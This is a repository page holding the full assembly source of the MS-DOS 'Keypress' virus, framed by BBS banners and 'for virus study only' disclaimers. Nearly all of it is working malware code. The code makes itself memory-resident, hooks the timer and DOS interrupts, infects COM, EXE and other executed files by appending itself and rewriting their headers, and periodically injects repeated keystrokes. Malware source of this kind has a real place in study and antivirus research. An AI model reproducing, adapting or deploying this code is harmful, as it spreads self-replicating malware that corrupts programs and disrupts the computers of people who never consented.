MalwareSourceCode/MSDOS/K-Index/Virus.MSDOS.Unknown.keypress.asm

740 lines
28 KiB
NASM
Raw Normal View History

2022-08-21 09:07:57 +00:00
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;********************************************************
; Source code of the Keypress Virus - Made by XSTC
; Made in A86 v3.07
;
; The Keypress Virus installs itself in top of DOS
; memory, without using DOS resident functions. It will
; hook int 1Ch (timer) and 21h (DOS) and will copy every
; 10 minutes during 2 seconds the keys you press five
; times (so if you press '1' it will be '111111') - if
; you press no key, it will usually give ESCs.
;
; In DOS 3+ it spreads to every file executed - so it
; can, besides COM/EXE, infect DRV/OVL/etc.
; It also spreads itself in DOS 1 and 2 with a special
; routine - in this case only COM/EXE files will be
; infected.
;
; It adds, after making full paragraphs of the file
; length, 1232 bytes to COM-files and 1216 to EXE.
;
; This code is only made to show the possibilities and
; dangers of a virus. It is only intended for research
; purposes - spreading a virus is prohibited by law.
;
; NOTE - The compiled code is not 100% compatible with
; the Keypress virus. A86 compiles the 'ADD BX,AX' and
; 'MOV DI,SI' different. This has totally no effect
; on the program.
;********************************************************
; After compiling the new virus, enter the new size in paragraphs in VirParSize
; and compile again.
VirParSize equ 4Ch ; Size of the original KeyPress virus
VirStart: jmp long VirBegin
db 0
ComStart: mov bx,cs ; When the virus has infected a .COM file,
add bx,[102h] ; this is the jump to the virus. Actually,
push bx ; this code is overwritten with the code
mov bx,offset VirBegin ; in the end of the virus.
push bx
retf
EB02 dw 02EBh ; 'jmp 104' - first 2 bytes in .COM file
VirSize dw VirParSize shl 4 ; Size of virus in whole pars
VirPars dw VirParSize + 1 ; Size of virus in pars+1
MaxComSize dw 0FF00h-VirParSize ; Max. size .COM file to infect (100h stack)
Com_or_exe db 00h ; 0 = Com-File, 1 = Exe-File
R_Ax dw (?)
R_Bx dw (?)
R_Cx dw (?)
R_Dx dw (?)
R_Di dw (?)
R_Si dw (?)
R_Bp dw (?)
R_Es dw (?)
R_Ds dw (?)
R_SS dw (?)
R_SP dw (?)
Exe_CS dw (?)
Exe_IP dw (?)
VirBegin: call Save_Regs ; Start of virus
call Fix_cs_ss ; Fix CS and SS of orig. prog (for .EXE files)
call Get_cs_ip ; Get CS and IP of original prog
call Check_res ; Check virus already resident
jb Exit_inst ; Yes, quit
call Inst_mem ; Install in memory
jb Exit_inst ; Error, quit
call Inst_ints ; Hook interrupts
Exit_Inst: jmp short Rst_regs_prg
nop
Jmp_Prg: db 0EAh ; Jump to original program
PrgOfs dw (?)
PrgSeg dw (?)
Check_res: push ds
xor bx,bx
mov ds,bx
mov bx,600h ; Unused word in memory
cmp word ptr [bx],1 ; Already installed?
jz Installed ; Yes
mov word ptr [bx],1 ; No
stc
Installed: cmc
pop ds
ret
;*** For .EXE: Fix orig-prog CS and SS ***
Fix_cs_ss: test byte ptr [Com_or_exe],1
jz no_exe
mov ax,es
add ax,10h
add Exe_cs,ax
add R_ss,ax
No_Exe: ret
;*** Get CS + IP of orig. program, and for .COM: Restore first 16 bytes ***
Get_cs_ip: mov ax,[Exe_cs]
mov bx,[Exe_ip]
test byte ptr [Com_or_exe],1
jnz No_rest ; .EXE file: no restore of first bytes
mov ax,es
mov bx,100h
mov cx,10h
mov si,offset First_bytes
mov di,100h
cld
repz ; Restore first 16 bytes (.COM file)
movsb
No_rest: mov [Prgseg],ax
mov [Prgofs],bx
ret
;*** Proc: Save the registers to restore them after the virus has ended ***
Save_Regs: mov cs:R_ds,ds
push cs
pop ds
mov R_ax,ax
mov R_bx,bx
mov R_cx,cx
mov R_dx,dx
mov R_di,di
mov R_si,si
mov R_bp,bp
mov R_es,es
ret
;*** Restore regs for original program ***
Rst_regs_prg: mov ax,R_ax
mov bx,R_bx
mov cx,R_cx
mov dx,R_dx
mov bp,R_bp
mov di,R_di
mov si,R_si
mov es,R_es
test byte ptr [Com_or_exe],1
jz No_StackRest ; No stack restore for .COM files
cli
mov ss,[R_ss] ; Restore .EXE stack
mov sp,[R_sp]
sti
No_StackRest: mov ds,R_ds
jmp short jmp_prg
;*** Restore regs for interrupts ***
Rst_regs_int: mov ax,R_ax
mov bx,R_bx
mov cx,R_cx
mov dx,R_dx
mov bp,R_bp
mov di,R_di
mov si,R_si
mov es,R_es
mov ds,R_ds
ret
;*** Proc: Search for last MCB ***
Last_MCB: push ds
mov bx,es
dec bx
Next_MCB: mov ds,bx
cmp byte ptr [0],5Ah ; Last MCB?
jz Is_last ; Yes
inc bx
add bx,[3] ; Go to next
cmp bx,0A000h ; In ROM?
jb Next_MCB ; No, try next one
Is_Last: pop ds
ret
;*** Proc: Install virus in end of memory ***
Inst_Mem: call Last_mcb ; Search last MCB
cmp bx,0A000h ; In ROM?
jb Not_ROM ; No, continue
No_Inst: push cs ; Yes, quit
pop ds
stc ; Error, virus not installed
ret
Not_ROM: mov ds,bx
mov ax,[3] ; AX = Size last MCB
sub ax,cs:[VirPars] ; - (Virussize in pars+1)
jbe no_inst ; Not enough memory, quit
cmp ax,800h
jb no_inst ; Less than 2048 pars free, quit
mov [3],ax ; Give program less space to install virus
add bx,ax
inc bx ; BX = seg where virus comes
mov es:[2],bx ; Enter in PSP, program not allowed there
sub bx,10h ; - 10h pars (virus starts at 100h)
push bx
push cs
pop ds
pop es
mov si,100h
mov di,si
mov cx,[VirSize] ; CX = virussize
cld
repz ; Copy virus to virus-segment
movsb
clc ; No error, virus installed
ret
;*** Install new interrupts (1C - Timer Tick, 21 - DOS) ***
Inst_Ints: push es
pop ds
mov word ptr [Ticks],0
mov ax,351Ch ; Get Addr Timer Tick
int 21h
mov I1c_ofs,bx
mov I1c_seg,es
mov ax,3521h ; Get Addr DOS-Int
int 21h
mov I21_ofs,bx
mov I21_seg,es
mov ax,251Ch
mov dx,offset New_I1c
int 21h ; Install New Timer-Tick Int
mov dx,offset I21_dos12
push dx
mov ah,30h ; Get DOS-Version
int 21h
pop dx
cmp al,3 ; Below 3.0?
jb DosBel3
mov dx,offset new_I21 ; No, new int
DosBel3: mov ax,2521h ; Install new DOS-Int
int 21h
push cs
pop ds
ret
;*** Proc: NEW 1C (TIMER TICK) INTERRUPT ***
; Every 10 minutes this routine sends during 2 sec. 180 extra keys to the
; keyboard-interrupt.
Ticks dw (?)
New_I1c: inc word ptr cs:[Ticks] ; Increment 'Ticks after virus loaded'
cmp word ptr cs:[Ticks],2A30h ; 10 minutes passed?
jb org_I1c ; No, go to orig. I1c
cmp word ptr cs:[Ticks],2A54h ; 2 sec. passed?
jbe screw_keys ; Not yet, give ESCs
mov word ptr cs:[Ticks],0 ; Time-counter to 0
jmp short Org_I1c ; Go to orig. I1c
Screw_Keys: push cx
mov cx,5 ; 5 times / tick
Put_Key: int 9 ; Give extra key
loop Put_key
pop cx
Org_I1c: db 0EAh ; Jump far to orig. I1c
I1c_Ofs dw (?)
I1c_Seg dw (?)
New_I24: mov al,0
New_I23: iret
I23_Ofs dw (?)
I23_Seg dw (?)
I24_Ofs dw (?)
I24_Seg dw (?)
ProgSize dw (?) ; Program size in paragraphs
New_I21: cmp ax,4B00h ; New DOS Int for DOS 3 +
jz Is_Start
jmp far dword ptr cs:[I21_Ofs] ; Jmp orig. I 21
Is_Start: call Save_Regs
call InstCritInt ; Install new ^c and crit. err. int
mov ax,3D02h ; Open file for read and write
mov ds,R_Ds
int 21h
push cs
pop ds
jc Close_File
mov bx,ax
call Read_header
jc Close_File
call Write_virus
jc Close_File
call Write_header
Close_File: mov ah,3Eh ; Close file
int 21h
call RestCritInt ; Restore ^c and crit-err ints
call Rst_regs_int
jmp far dword ptr cs:[I21_Ofs]
I21_Dos12: cmp ah,3Dh ; New DOS-Int for DOS 1.x and 2.x
jz Is_Open
JmpDos: db 0EAh ; Jump Far
I21_Ofs dw (?)
I21_Seg dw (?)
Is_Open: push ax ; Network-flags?
and al,0FCh
pop ax
jnz JmpDos ; Yes -> DOS
call Save_Regs
call InstCritInt ; Install new ^c and crit. err. int
mov DS,R_Ds
or al,2 ; Write access
pushf
cli
call far cs:[I21_Ofs] ; Open file
push cs
pop ds
jc Open_Error ; Error opening -> DOS
pushf
mov [R_Ax],ax ; Save handle
mov bx,ax
call Chk_Inf ; Check infection is possible
jc No_Infect ; No -> quit
call Read_header
jc No_Infect
call Write_virus
jc No_Infect
call Write_header
No_Infect: call Go_file_beg ; Go to begin of file
call RestCritInt ; Restore ^c and crit-err ints
call Rst_regs_int
popf
retf 2
Open_Error: call RestCritInt ; Restore ^c and crit-err ints
call Rst_regs_int
jmp short JmpDos
;*** Proc: Buffer for header of program to infect ***
Head_buf dw 0Ch dup (?)
;*** Proc: Install new ^C and crit. err. interrupt ***
InstCritInt: push ax
push bx
push dx
push ds
push es
push cs
pop ds
mov ax,3523h ; Get Ctrl-Break Int Addr
int 21h
mov I23_Ofs,bx
mov I23_Seg,es
mov ax,3524h ; Get Crit. Err Int Addr
int 21h
mov I24_Ofs,bx
mov I24_Seg,es
mov ax,2523h
mov dx,offset New_I23 ; Install new Ctrl-Break Int
int 21h
mov ax,2524h ; Install new Crit. Err Int
mov dx,offset New_I24
int 21h
pop es
pop ds
pop dx
pop bx
pop ax
ret
;*** Proc: Restore orig. ctrl-break and crit. err. interrupt ***
RestCritInt: mov ax,2524h ; Rest. orig. crit. err int
lds dx,dword ptr cs:[I24_Ofs]
int 21h
mov ax,2523h ; Rest. orig. ctrl-break int
lds dx,dword ptr cs:[I23_Ofs]
int 21h
push cs
pop ds
ret
;*** Read header of file ***
Read_header: mov ah,3Fh
mov dx,offset Head_buf
mov cx,18h
int 21h
jc HeadRead_Err ; Error reading, don't infect
call Check_infect ; Check file already infected; if not, save data
jc HeadRead_Err ; Error, quit
call Calc_data ; Calculate data for infected file
jc HeadRead_Err ; Error, quit
HeadRead_Err: ret
;*** Proc: Write virus, and for .COM files, write first 16 bytes behind virus ***
Write_virus: mov ah,40h ; Write virus behind program
mov cx,[VirSize]
mov dx,100h
int 21h
jc Err_Writ ; Write error, quit
cmp ax,cx
jnz Err_Writ ; ' ' ' ' ' '
test byte ptr [Com_or_exe],1
jz First_Write
ret
First_Write: mov ah,40h ; Write orig. 1st 16 bytes behind virus
mov cx,10h
mov dx,offset Head_buf
int 21h
jc Err_Writ ; Write error, quit
cmp ax,cx
jnz Err_Writ ; ' ' ' ' ' '
clc ; End procedure, no error
ret
Err_Writ: stc ; End procedure, error
ret
;*** Proc: .COM: Write jump-to-virus, .EXE: Write header ***
Write_header: call Go_file_beg ; Go to begin of file
test byte ptr [Com_or_exe],1 ; .EXE-file?
jnz Exe_header
mov ah,40h ; .COM file - Write 'EB 02'
mov cx,2
mov dx,offset EB02
int 21h
mov ah,40h ; Write program-size in pars
mov cx,2
mov dx,offset ProgSize
int 21h
mov ah,40h ; Write rest of begin of virus
mov cx,0Ch
mov dx,104h
int 21h
ret
Exe_header: mov ah,40h ; Write in File
mov cx,18h
mov dx,offset Head_buf
int 21h
ret
;*** Proc: Change file pointer ***
Cng_file_ptr: mov ax,4200h
int 21h
ret
;*** Proc: Go to begin of file ***
Go_file_beg: xor cx,cx ; Filepointer = 0
xor dx,dx
call Cng_file_ptr ; Change File Pointer
ret
;*** Proc: Check file is already infected ***
Check_infect: mov si,104h
mov di,offset Head_buf+4
push cs
pop es
mov byte ptr [Com_or_exe],0 ; Flag for .COM
cmp word ptr [di-04],5A4Dh ; Is .EXE?
jz Is_Exe
mov cx,0Ch ; No, .COM file
cld
repz ; Already infected?
cmpsb
jnz Do_Infect ; Not yet
Dont_Infect: stc
ret
Do_Infect: clc
ret
Is_Exe: mov byte ptr [Com_or_exe],1 ; Flag for .EXE
mov cx,[offset Head_buf+14h] ; cx = Prog-IP
cmp cx,offset VirBegin ; Same as Vir-IP?
jz Dont_Infect ; Yes, quit
cmp word ptr [offset Head_buf+0Ch],0 ; Max extra pars=0?
jz Dont_Infect ; Yes, quit
mov [Exe_ip],cx ; Save prog-IP
mov cx,[Head_buf+16h]
mov [Exe_cs],cx ; Save prog-cs
mov cx,[Head_buf+0Eh]
mov [R_ss],cx ; Save prog-SS
mov cx,[Head_buf+10h]
mov [R_sp],cx ; Save prog-SP
jmp short Do_Infect
;*** Proc: Calculate data for infection ***
Calc_data: mov ax,4202h ; Go to EOF
xor cx,cx
xor dx,dx
int 21h
test al,0Fh ; Size mod 16 = 0 (File is exact x paragraps)?
jz No_par_add ; Yes, no extra par added
add ax,10h ; Add paragraph
adc dx,0 ; Overflow -> Inc dx
and ax,0FFF0h ; Make paragraphs
No_par_add: test byte ptr [Com_or_exe],1
jnz Calc_exe
or dx,dx
jnz not_infect
cmp ax,[maxcomsize] ; File too big?
ja not_infect ; Yes, quit
cmp ax,[VirSize] ; File too small?
jbe Not_Infect ; Yes, quit
mov [ProgSize],ax ; Save program-size
mov cl,4
shr word ptr [ProgSize],cl ; In paragraphs
mov dx,ax
xor cx,cx
call Cng_file_ptr ; Go to EOF
clc
ret
Not_Infect: stc
ret
Calc_exe: push ax
push dx
add ax,100h ; 100 bytes stack
adc dx,0 ; Overflow - inc dx
mov cx,dx
mov dx,ax
call Cng_file_ptr ; Go to EOF
push bx
add ax,[VirSize] ; New exe-length
adc dx,0
mov bx,200h ; For header: / 512
div bx
or dx,dx
jz No_Correct
inc ax ; Files below 2.000.000h bytes - length correction
No_Correct: mov [Head_buf+2],dx ; Save new file-length
mov [Head_buf+4],ax ; ' ' ' ' ' ' ' '
pop bx
pop dx
pop ax
call Calc_cs_ss
mov word ptr [Head_buf+10h],100h ; Prog-SP=100h
mov word ptr [Head_buf+14h],offset VirBegin ; Set prog-IP
clc
ret
;*** Proc: Calculate new CS and SS for .EXE file ***
Calc_cs_ss: push cx
mov cx,4
Cs_ss_lp: shr dx,1
rcr ax,1
loop Cs_ss_lp
sub ax,[Head_buf+8] ; Size of header
sbb dx,0
mov [Head_buf+0Eh],ax ; Save prog-SS
mov [Head_buf+16h],ax ; Save prog-cs
pop cx
ret
;*** Check infection is possible ***
Chk_Inf: call Chk_exec ; Check file is executable
jb Not_exec
call Get_attr ; Check file has no SYS attr
Not_Exec: ret
;*** Search-paths ***
Com_path db '.COM',0
Exe_path db '.EXE',0
;*** Check file is executable (.COM / .EXE)
Chk_Exec: push es
mov es,R_ds
mov di,dx
xor al,al
mov cx,80h
cld
repnz ; Search '.'
scasb
jnz not_inf ; No '.' found
dec di
push di
mov si,offset Com_path+4
mov cx,4
std
repz ; Check '.COM'
cmpsb
pop di
jnz no_com ; No .COM
clc
jmp short Infect
nop
Not_Inf: stc
Infect: cld
pop es
ret
No_Com: mov si,offset Exe_path+4
mov cx,4
repz ; Check '.EXE'
cmpsb
jnz not_inf ; No .EXE either - not executable
clc
jmp short infect
Get_Attr: push ds
mov ax,4300h ; Get FileAttr
xor cx,cx
mov ds,R_ds
int 21h
pop ds
jb Bad_Attr ; Error - don't infect
test cx,4 ; System-Attr?
jnz Bad_Attr ; Yes, don't infect
clc
ret
Bad_Attr: stc
ret
First_bytes: int 20h ; First bytes of orig. program - here just 'Go to DOS'
dw (?)
mov bx,cs ; Overwrites the begin
add bx,[102h]
push bx
mov bx,offset VirBegin
push bx
retf
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;